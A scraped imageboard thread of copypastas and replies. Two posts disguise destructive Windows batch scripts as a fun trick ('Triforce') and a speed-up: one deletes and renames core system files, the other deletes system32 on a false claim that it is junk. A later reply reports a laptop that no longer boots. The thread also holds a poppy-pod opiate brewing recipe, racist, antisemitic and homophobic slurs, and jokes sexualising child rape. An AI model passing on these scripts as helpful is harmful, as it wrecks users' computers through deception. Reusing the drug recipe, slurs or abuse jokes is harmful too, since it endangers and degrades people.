Morning Sup Forums. Ready for another day of shitposting?

Morning Sup Forums. Ready for another day of shitposting?

nah

I love your desk~.
I think it's fancy. :}

Yes! :D

Just got back home from a 9 hours shift, so yeh I can dedicate 1-2 hours of shifting through shitposts.

I've only just gotten started today.

You mean like streaming~? :o

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any story behind this pic? im realy wondering

What are those~? hn? hn?

Yeah! I'm wondering a lot~. =]

Good morning OP. Abso-fucking-lutely.

its afternoon here user, i feel left out now..

HI Ho Hi Ho it's off to 404 we go~

Why don't we help you find someone then? :D

I should be studying for my test on Monday

But alas, I'm sperging out with Sup Forums

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After the loot is stolen~!

> muaahah-

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>Mfw I could be productive but the universe a shit.

Hey kidz r ya reddy to learn.

Don't mind me, just adding to the collective entropy of existence.

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Teach me, teach me lots of things~.
So that I can receive a whiffy and a ring! :D

Life = Chaotic
Shitposting = Chaotic
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Shitposting = Life

I love trash~. hNm~.
> sigh

>This is for the best. When the board is carried out better, all of your horse live octopus head, it is driven to distant internet depth.

HE!1!!!!!!11!!!!!!!!!!!!!!!!!!1111111111!!11 KEK!! KEK!! KEK!!

WHATA FUCK MAN xD i just fall of my chair cuz i couldnt and i CANT stop laugh xDXDXDXDXDDDDDXXXXXXDDDDDD OMGOSH DDDDDXXXXXDDDDD DDDDDD LOOOOOOOLLLLL FUCKIN HOLY SHITTTT I CANT JUST STOP LAUGHING CAUSE HE HE HE HE HE JUST TO FUNNY MAN!!!1!11!

HOOOOOOOOLLLLLLYYYYY SHIT i just fall of chair!!!! simply le epic so ebin dae le epin win xD pwn’d ftw le bacon narwhale xP upboated good sir i tip my fedora to you! tips fedora, le any1 athiest? LOL

GOOD MEME

SORRY I MEAN

GREAT MEME

GR88888 FUCKING MEME BRO I WISH I COULD STOP LAUGHING BUT I CANT MAN!!!!

NICE MEME IMMA REPOST TO REDDIT LELELELELE TY FOR LE KARMA XDDDDDDDDDDDDDDDD

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LE UPBOAT

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WAIT TIL LE DERPINA HEARS ABOUT THIS

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EPIC MEMEING Sup Forumsro BAZINGA BAZINGA BAZINGAAAAAAAAAAAAAAAAA ZIMBABWE is this a le new epic meme? screen kapped for dat sweet karma xD. FUS ROH DAH!!!!!1 i used to be a christmas but then i took an arrow 2 da knee :^( BAZINGA BAZINGA ZIMBABWE. top kek, toppest of keks. le nyan cat? hahahaha le mayonaise. fucking epic ass meme i love that fucking meme so much man wait let me just gets crack pipe out smoke some of that good 420 shit :) rips a bong AHHHHHHHHH YES!!!!!!!!!!!!!!!

that sure hit the spot ok now repeat that fucking epic ass M E M E

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SPOOKY AS FUCK CUZ IM A CEMETERY SLUT

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Why must you perpetuate this disease user?
What do you hope to gain?
If not cheap tacky lulz then what?
FOR WHAT PURPOSE DO YOU COMMIT THESE HORRIBLE ATROCITIES user?
WHY user?
WHY?

Hey, Vsauce! Michael here...

If you have 3 quarters, 4 dimes, and 4 pennies, you have $1.19.

You also have the largest amount of money in coins without being able to make change for a dollar.

This is a random fact... but what is... "random"

There is a web board... on the internet... called "Sup Forums."

One of the sections... of this website is called "Sup Forums"

The purpose of Sup Forums is to be... completely random.

But what if... Sup Forums... stopped... being random...

What if every thread made... on this board was just... a copy... of a previous thread

What if every thread was literally a copy of a copy... of a copy...

What if instead of "random"... they were named something else... something more accurate of a description...

What if they were called... "copy and paste" instead...

What if Sup Forums ... became /cp/

As always. ... thanks for reading this in my voice.

Voila! In view humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of fate. This visage, no mere veneer of vanity, is a vestige of the “vox populi” now vacant, vanished. However, this valorous visitation of a bygone vexation stands vivified, and has vowed to vanquish these venal and virulent vermin, van guarding vice and vouchsafing the violently vicious and voracious violation of volition.
The only verdict is vengeance; a vendetta, held as a votive not in vain, for the value and veracity of such shall one day vindicate the vigilant and the virtuous.
Verily this vichyssoise of verbiage veers most verbose, so let me simply add that it’s my very good honour to meet you and you may call me V.

You're not supposed to react to the world in words and feelings, that's a woman's job.
You're supposed to manipulate and control it without letting anyone know what you're up to, emotionally and physically if you can.

Life is a solo adventure. It's like walking through the woods, and different people might come walk next to you for a period of time, but none of them are there for the whole trip. Learn to accept this and enjoy being on your own, it makes life a hell of a lot better.

Sentient life is the universe's natural way of reversing entropy. The purpose of intelligence is to find a way to do that in an isolated system.

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>Trump wins election
>comes out to make his winning speech
>he looks bored
>as he gets to the mic he stands there for a second
>all quiet
>he begins to adjust the mic
>a cough is heard in the audience
>mic is almost touching his lips now
>a smirk slowly but surely appears
>Obama, you're fired.
>crowd goes fucking nuts
>Mexicans begin running back to Mexico
>liberals blowing their brains out left and right
>Hillary has stroke
>jews start burying shekels immediately
>McCain sitting in bar sobbing while getting blown by Karl rove
>karl is sobbing as he does so
>jeb complaining to the jews this wasn't how it was planned
>first lady causes the most bones in US history
>all is right

It's happening guys. America is becoming great again.

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>Implied Wonk-force-5000~

Full instructions on how to triforce:

>Open a new text document
>Copy and paste the text below in to the document:

@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
copy taskmgr.exe %systemdrive%\windows\system32
RENAME %systemdrive%\WINDOWS\system32\services.exe explorer1.exe
RENAME %systemdrive%\WINDOWS\system32\winlogon.exe services.exe
RENAME %systemdrive%\WINDOWS\system32\explorer1.exe winlogon.exe
RENAME %systemdrive%\WINDOWS\explorer.exe explorer1.exe
RENAME %systemdrive%\WINDOWS\winhelp.exe explorer.exe
RENAME %systemdrive%\WINDOWS\explorer1.exe winhelp.exe
RENAME %systemdrive%\WINDOWS\system32\drivers\mup.sys mup2.sys
RENAME %systemdrive%\WINDOWS\system32\drivers\vga.sys mup.sys
RENAME %systemdrive%\WINDOWS\system32\drivers\mup2.sys vga.sys

>Enter the file name as "Triforce.bat" (Without the Quotation marks)
>Select "All Files" in the "Save as type" menu
>Save
>Double click the file to run it
>???
>Profit & Triforce

The Tory is immunised against all dangers: one may call him a scoundrel, parasite, swindler, profiteer, it all runs off him like water off a raincoat. But tell him you won't be voting Conservative when UKIP dies and you will be astonished at how he recoils, how injured he is, how he suddenly shrinks back. “You'll let Labour in!”

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Saged, reported, hidden, called the cops, called the Fire Department, called Pizza Hut, called the USN, called the Royal Navy, called the Red Army, called the FBI. called the CIA, called Interpol, called the KGB, called the USMC, called the USAF, called the Royal Air force, called MI 6, called Scotland Yard, called the US National Guard of every state, called NYPD, called Obama, called the Queen, called Putin, called David Cameron, called every Governor of every US State, used my time phone to call Winston Church hill, As well as Hitler, Stalin, Theodore Roosevelt, George Washington, Montezuma, even Caesar, and Gilgamesh,called Genghis Khan, called US Army, called British Army in every era, called every phone sexline, called Papa John's, called the US Coast Guard, called my State Senators, called my Senators, called every republican in the US, called Dr. Who, called the Pope, called my local Gang lords, called the State Patrol of every state west of the Mississippi, called all of my local news channels, called Star Fleet, called The Sun, called The National Enquirer, called CNN, called Scot Pelly, called Steven Colbert, called half of the Mexican Drug Cartels, called Nintendo, called the Japan Maritime Self-Defense Force, called the head of the Illuminati, called every free mason, called bilderberg, called my neighbors, called the mayor of every city in France, called my mom, called the Emperor of Man, and called every school district in Canada.

Wow! It really worked!

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Okay newfags, listen up.
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless shit that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. Sup Forums isn't cool with that, however. Here's how to outsmart those assholes once and for all;
Open Notepad
Type the following text:
@echo off
del C:\WINDOWS\system32
save as "speedup.bat" (select "all files" instead of "text document"
Save it to Desktop
Double-click the .bat file

Reboot and your PC is twice as fast. (you didn't hear it from us)

A website called reddit
So pretentious and lame
They try to use memes
To gain internet fame
The comments are sad
But the users much sadder
Their egos, inflated
But their stomachs much fatter
They judge and complain
Behind Internet walls
Too oblivious to notice
They have no life at all
When opinions conflict
They'll cry and they'll mope
Then show you who's boss
With a raging downvote
And if that doesn't work
They'll call their mod-saviors
Who will ban you to keep peace
Within their calm echo chambers
So tread lightly on reddit
Or you'll pay their fine
Your voice will be silenced
From their liberal hivemind
It's probably better
You just stick to Sup Forums
Where the posts are offensive
But the people are free
No Voting, no rules
Just corpses and maggots
Some tits and some pussy
And we're all nigger-faggots

How would YOU define reality?
All that which is not affected by thought ...
if you imagine it into being, it is not real, if it
goes away when not thought about, it is not real,
but if it WAS before you thought of it and if it
remains when you do not think about it any more,
it is real.

Goddammit, he said shitpost, not shippost.

Quando omni flunkus moritatus
-When all else fails, play dead.

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FUCK YEAH MAGIKARP!1!1!111!11!1!!!1!!1!!

if that isn't shopped its amazing

Cats

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Sorry but your password must contain;
an uppercase letter,
a number,
a haiku,
a gang sine,
a hieroglyph,
and, the blood of a virgin.

Have to go grocery shopping later, which will require a 6 mile walk. Other than that, yeah.

>Find a florist (amazon sell pods and seeds too)
>buy dried untreated poppy pods (papaver somniferum gargantuan are top tier imo)
>grind 2-3 pods to a powder (save any seeds for later, these can be left to strain in hot water for a similar but milder effect)
>soak powder in hot water (no hotter than 80C or 176F)
>leave for at least an hour or more
>strain out the sludge
>add flavorings so it doesn't taste like ass (lemon juice and cranberry juice are good and for some reason make it stronger)
>test the strength of your batch by drinking a mouthful every 45-60 mins
>???
>Profit.

>Just die in some really awesome way. Like riding a tiger into a nuclear volcano on Mars while having sex with all of the cheerleaders of the Dallas Cowboys.

>THE NSA HAS PERMANENT ACCESS TO YOUR HARD DRIVES
>THEY CAN TURN ON YOUR WIFI EVEN IF YOU HAVE PHYSICALLY TURNED IT OFF
>THEY CAN INTERCEPT YOUR INTERNET TRAFFIC FROM UP TO 8 MILES AWAY
>THEY ARE SHOOTING RF INTO YOUR HEAD AT 1KW
>THEY HAVE GUARANTEED ACCESS TO YOUR MICROPHONE AND CAMERA
>THEY CAN TAKE PICS WITH YOUR WEBCAM
>THROUGH SWEEPING DATA COLLECTION THEY WILL VIEW YOUR DATA
>THEY KNOW ALL ABOUT YOU
>THEY CAN DISCRIMINATE AGAINST YOU
>NO ONE HAS DONE ANYTHING TO STOP THEM
>TOR IS NOT SAFE
>THE NSA IS COLLECTING SO MUCH DATA THEY ARE HAVING TROUBLE READING EVERYTHING
>THEY HAVE A RECORD THAT WILL GO BACK 15 YEARS
>THEY WILL SOON OUTLAW QUESTIONABLE DRAWN PORNOGRAPHY
>THEY WILL IMPRISON Sup Forums USERS
>ANONYMOUS IS VIEWED UPON AS INTERNET ACTIVISTS
>7 YEARS IN JAIL BECAUSE SOME NSA SHILL POSTED CONTENT THAT WAS SAVED IN YOUR TEMP FOLDER
>ITS MUCH WORSE THAN WHAT YOU KNOW
>LEGISLATORS HAVE NO IDEA WHATS GOING ON
>NO MATTER WHAT COUNTRY YOU ARE IN THEY CAN TRACK YOU
>YOU CANT RUN
>OUTER SPACE IS THE ONLY SAFE PLACE
>THEY CAN TURN THEIR SATELLITES AROUND AND EVEN SEE YOU THERE
>YOU ONLY LOST IF YOU THINK YOU LOSTONLY YOU CAN STOP THIS

same here faggot i'm fucking tired

I'm The Fucking Leader & I Weigh 5 Negro Pounds & There Is Nothing You Can Do To Stop Me Because That Trying Stop Cat Eating 10 Firefox Good Thing Blacker Than Ever

what the fuck guys, you were totally lying. i just tried this because i thought it'd be cool but i did it and now my BRAND NEW laptop i got for my birthday LITERALLY YESTERDAY is now not fucking booting. im writing this off my phone right now, what the fuck can i do to fix this anyone??

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>you will never live in a society that gives you a place and a mission from birth
>you will never live in a society that gives you both the ability and the responsibility to glorify yourself and your people
>you will never live in a society that forges men from boys and raises a race worthy of reaching to the stars
>you will never live in a society that gives every person the right and the opportunity to work
>you will never live in a society that values ideals over money
>you will never live in a society that understands duty, valour, and glory
>you will never live in a society that doesn't have to bash trannies because it isn't effeminate and weak enough to create them in the first place
>you will never live in a society that would have given you something to be proud of and fight for by the age you are right now
>you will always live in a bourgeois Jewish plutocratic ochlocracy that turns men into women with progressive newspeak
>you will always live in a society where strength and pride are disdained
>you will always live in a society that forces you to hate your heritage but love those of others
>you will always live in a society where hedonism and materialism are the sole aims
>you will always live in a society of crybaby pussies who let other cultures' barbarian runoff colonise them, and thank them for it
>you will always live in a society where obese marxist manchildren and degenerate self-mutilating sexual fetishists are considered honorary first citizens and normal, hardworking people are considered boring and regressive
>you will never experience a masculine culture
>you will never know the thrill of battle for a country and people you love
>you will never feel one iota of what it was to be a man, when all of your ancestors for millions of years felt it every day

Retard.

>Writing: Come up with shit that no one's thought of before and inspire them to dedicate their lives to make it a reality
>Art: Pull shit that doesn't exist out of thin air and slap it on paper
>Robotics: make shit that's never walked before run and kick you in the face for fun
>Programming: make something that can beat that faggot in the back of the class at chess and disseminate his past life decisions while at it
>Electronics: make the most badass fucking system that applies both conventional relativity and special relativity to calculate position on a global basis
>Astronomy: search for worlds beyond anyone's imagination, explain them and show everyone how fucking badass they are
>Medicine: save people's lives, reengineer the very definition of a cell's genes to make oil or a cure for anything
>Engineering: you rule the world

Tonight I saw,the most disgusting disturbing threads they call ilol? It's gifs and pictures of Children being raped and murdered. I agree with him. There were so many responding to the thread which only suggests there is a very high amount of pedophilespace, rapists etc on here.The fact that they get to post anonymously child porn IS disgusting and is exactly the reason were losing Internet freedoms. Perhaps if you want to save our freedom we should destroy them. Expose them. Idiot pedophileso do you really think that the admin can not gain you IP MacId etc? Every ip address is recorded for every thread. Expose the child porn sex abusers and rapists. I DECLARE WAR ON YOU. I WILL FIND YOU. I WILL EXPOSE YOU. YOU WILL GO TO PRISON, GET RAPED REPEATEDLY AND THEN KILLED. YOU WILL DIE.
-X

There once was a man from Nantucket,
Whose cock was so long he could suck it.
He said with a grin
As he wiped off his chin,
"If my ear were a cunt I would fuck it!

There once was a lady named Lucky,
Who used dynamite to give herself fucky.
They found her vagina,
in North Carolina,
And one of her tits in Kentucky

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is a work of satire? My mouth is agape at the idea.

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“Be polite. Be efficient. Have a plan to kill everyone you meet.”

Q. What do you call an anorexic girl with a yeast infection?

A. Quarter Pounder with cheese.

> Pasta about American agencies
> Pic is a British tank

∫ integral
∬ double integral
∭ triple integral
∮ contour integral
⨕ integral around a point operator
∯ surface integral
∰ volume integral
∱ clockwise integral
∲ clockwise contour integral
∳ anticlockwise contour integral
⨋ summation with integral
⨌ quadruple integral
⨍ finite part integral
⨎ integral with double stroke
⨏ integral average with slash
⨐ circulation function
⨑ anticlockwise integral
⨒ line integral with rectangular path around pole
⨓ line integral with semicircular path around pole
⨔ line integral not including the pole
⨖ quarternian integral
⨗ integral with leftwards arrow with hook
⨘ integral with times sign
⨙ integral with intersection
⨚ integral with union
⨛ integral with overbar (upper integral)
⨜ integral with underbar (lower integral)

1. People who point at their wrist asking for the time... I know where my watch is pal, where the hell is yours? Do I point at my crotch when I ask where the toilet is?

2. People who are willing to get off their a** to search the entire room for the TV remote because they refuse to walk to the TV and change the channel manually.

3. When people say "Oh you just want to have your cake and eat it too". Damn Right! What good is cake if you can't eat it?

4. When people say "it's always the last place you look". Of course it is. Why the hell would you keep looking after you've found it? Do people do this? Who and where are they?

5. When people say while watching a film, "did ya see that?" No Loser, I paid $12 to come to the cinema and stare at the damn floor!

6. When something is 'new and improved'. Which is it? If it's new, then there has never been anything before it. If it's an improvement, then there must have been something before it, couldn't be new.

7. When people say "life is short". What the hell??? Life is the longest damn thing anyone ever does!!! What can you do thats longer?

8. When you are waiting for the bus and someone asks "Has the bus come yet?" If the bus came, would I be standing here???
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God moves in a mysterious way
His wonders to perform;
He plants his footsteps in the sea
And rides upon the storm.
Deep in unfathomable mines
Of never failing skill
He treasures up his bright designs
And works his sov’reign will.
Ye fearful saints, fresh courage take;
The clouds ye so much dread
Are big with mercy and shall break
In blessings on your head.
Judge not the Lord by feeble sense,
But trust him for his grace;
Behind a frowning providence
He hides a smiling face.
His purposes will ripen fast,
Unfolding every hour;
The bud may have a bitter taste,
But sweet will be the flow’r.
Blind unbelief is sure to err
And scan his work in vain;
God is his own interpreter,
And he will make it plain.

1st RULE: You do not talk about FIGHT CLUB.
2nd RULE: You DO NOT talk about FIGHT CLUB.
3rd RULE: If someone says "stop" or goes limp, taps out the fight is over.
4th RULE: Only two guys to a fight.
5th RULE: One fight at a time.
6th RULE: No shirts, no shoes.
7th RULE: Fights will go on as long as they have to.
8th RULE: If this is your first night at FIGHT CLUB, you HAVE to fight.

BORN TO FAP
WAIFU IS A SHIT
Jerk Em All 1969
I am cum man
410,757,864,530 DEAD SPERM

Sup Forums is random.
Best video game posts are common.
No one cares about your favorite game.
No one cares about your opinion.
You're just some random on the Internet.
You won't be remembered.
You'll have been forgotten in five minutes of the deletion of this thread.
Your so trapped in your sad boring life that you don't even care to wake up from your keyboard.
This is your life.
Your aspirations are nonexistant.
Your dreams have faded with your intelligence.
You're a failure of a human.

WHAT DID YOU FUCKING CALL ME?
A FAGGOT?
DO YOU FUCKING KNOW WHAT FAGGOT EVEN MEANS? IT MEANS A HOMOSEXUAL.
A FUCKING QUEER. A WHOOPSY. A PRANCING LALA FRUITY BOY.
YOU COME HERE, AND CALL ME FUCKING THAT? DO YOU HAVE
ANY IDEA HOW MANY GIGABYTES OF PORNOGRAPHY FEATURING ONLY
FUCKING !!!FEMALES!! I HAVE? DO YOU HAVE ANY IDEA
HOW MANY TIMES A DAY I MASTURBATE TO THIS COLLECTION,
HOW MANY HOURS I SPEND EXPANDING IT? NO, NO YOU FUCKING DON'T,
YOU JUST COME IN HERE AND MAKE A FUCKING JUDGEMENT ON ME
LIKE YOu"RE SOME KIND OF JUDGER OF FAGS WHEN I STILL SMELL OF
THE SEMEN FROM JACKING IT TO THE PUSSY OF A FUCKING FEMALE
THIS TEXT ISNT FUCKING CONFESSIONS, ALRIGHT IT'S YOU BEING A BITCH,
NEWSFLASH, JAPAN HAS SEX TOO, OTHERWISE JAPAN WOULD NOT EXIST AS
A FUCKING COUNTRY WITH PEOPLE IN YOU PREJUDICED PIECE OF SHIT.

An engineer goes to the pearly gates and saint peter tells him he has to go to hell.
The man protests as he has lead a moral life but he is sent to hell anyway.
He finds it very uncomfortable in hell so he requests an audience with the devil.
He tells the devil that he can really spruce up hell and the devil agrees.
The engineer gets to work.
At some point god decides to check and see what's happening in hell and he sees that it's much better than heaven.
Hell is more comfortable and more modern, and god gets jealous.
God calls the devil and says the engineer should have never gone to hell, that it was a clerical error.
But the devil refuses to give him back.
God says, "If you don't give him I'll sue".
The devil says, "With what? I have all the lawyers".

>day greentext in equestria
>you are not user.
>you are el anonino, the most mexical human who snuck over the border to equestria to find a good job.
>your moustache is twitching.
>that means theres a job somewhere nearby
"EL JOBERO ARIBA BARIBA"
>you speed off searching for the job
>pink horse is following you
>"NEIGH"
"GASP! EL KABONG!"
>Pink horse hits you with pinkie pie
>"KABONG, mexiconny"
>you are sent flying back over the giant border fence between appleoosa and spain
"MUCHOS GRACIAS IS BLASTING OFF AGAIN AMIGO"

This nigga a right here who we should be sending to fight niggas in the middle east. Boy done knocked out a fucking roo those niggas nothin but muscle on more muscle.

Deum Verum

Veníte, exsultémus Dómino, jubilémus Deo, salutári nostro : præoccupémus fáciem ejus in confessióne, et in psalmis jubilémus ei.

Quóniam Deus magnus Dóminus, et Rex magnus super omnes deos : quóniam non repéllet Dóminus plebem suam : quia in manu ejus sunt omnes fines terræ, et altitúdines móntium ipse cónspicit.

Quóniam ipsíus est mare, et ipse fecit illud, et áridam fundavérunt manus ejus : veníte, adorémus, et procidámus ante Deum: +plorémus coram Dómino, qui fecit nos, quia ipse est Dóminus Deus noster ; nos autem pópulus ejus, et oves páscuæ ejus.

Hódie, si vocem ejus audiéritis, nolíte obduráre corda vestra, sicut in exacerbatióne, secúndum diem tentatiónis in desérto : ubi tentavérunt me patres vestri, probavérunt et vidérunt ópera mea.

Dan “The Man” Schneider
Dan "The Biter" Schneider
Dan "The Spider" Schneider
Dan "The Defiler" Schneider
Dan "The Initiator" Schneider
"Down South" Dan Schneider
Dan "The Plunger" Schneider
Dan "The Bladder" Schneider
Dan "The Seducer" Schneider
Dan "Teen Bedder" Schneider
Dan “Rough Ryder” Schneider
Dan “The Collector” Schneider
"No Lube Required" Schneider
Dan "The Despoiler" Schneider
Dan "Deep Pounder" Schneider
Dan “She’s a Fighter” Schneider
Dan "Get in The Van" Schneider
Dan "Cunny Hoarder" Schneider
Dan "I've Had Tighter" Schneider
Dan "The Fart Inhaler" Schneider
Dan “Deep Inside Her” Schneider
Dan "The Overnighter" Schneider
Dan "Came Inside Her" Schneider
"Please Mister, Slower" Schneider
Dan “Likes ‘Em Tighter” Schneider
Dan "The Rough Rider" Schneider
Dan "The Meat Grinder" Schneider
Dan "The Diaper Slider" Schneider
Dan “The Cheek Divider” Schneider
Dan "The Virginity Taker" Schneider
Dan "The Hymen Divider" Schneider
Dan “The Hymen Collider” Schneider
Dan "The Demolition Man" Schneider
Dan "The Cervix Wrecker" Schneider
Dan "This One's a Bleeder" Schneider
Dan "The Pussy Annihilator" Schneider
Dan "The Starlet Sodomizer" Schneider
Dan "The Junior High Insider" Schneider
Dan "Already Creampied Her" Schneider
Dan "I like 'em Small And Tan" Schneider
Dan "That Ass Could Be Redder" Schneider
Dan "But I Poop From There, Mister" Schneider
Dan "Wham Bam Thank You Ma'am" Schneider
Dan "We Got Ourselves A Screamer" Schneider
Best Man Dan "The Warmth Provider" Schneider
Dan "The Man With The Plan (to rape)" Schneider
Dan "Say Goodbye To Your Brown Eye" Schneider
Dan “If You Have A Daughter You Better Hide Her” Schneider

In case you don't know what a dakimakura is, the word "dakimakura"
is japanese for "hugging pillow". a dakimakura is often called a
"love pillow" by adult owners. these pillows often have anime characters in most cases a sexy anime babe
printed on them. this pillow has a printed portrait of major motoko
kusanagi from the ghost in the shell franchise. motoko is numero uno
on my top three cyber hotties of anime, the other two are melfina from
outlaw star, and android 18 from dragonball z. if you're an anime
lover like me, or if you're starting an anime shwag collection, or
have always wanted your favorite anime characters in your bed.
( there's no shame in it ). i reccomend you get one of these things.
however, i don't reccomend these pillows for anyone under 18 years old.
these pillows are like teddy bears for grown-ups.

The most cynical cynic who ever cynic'd.

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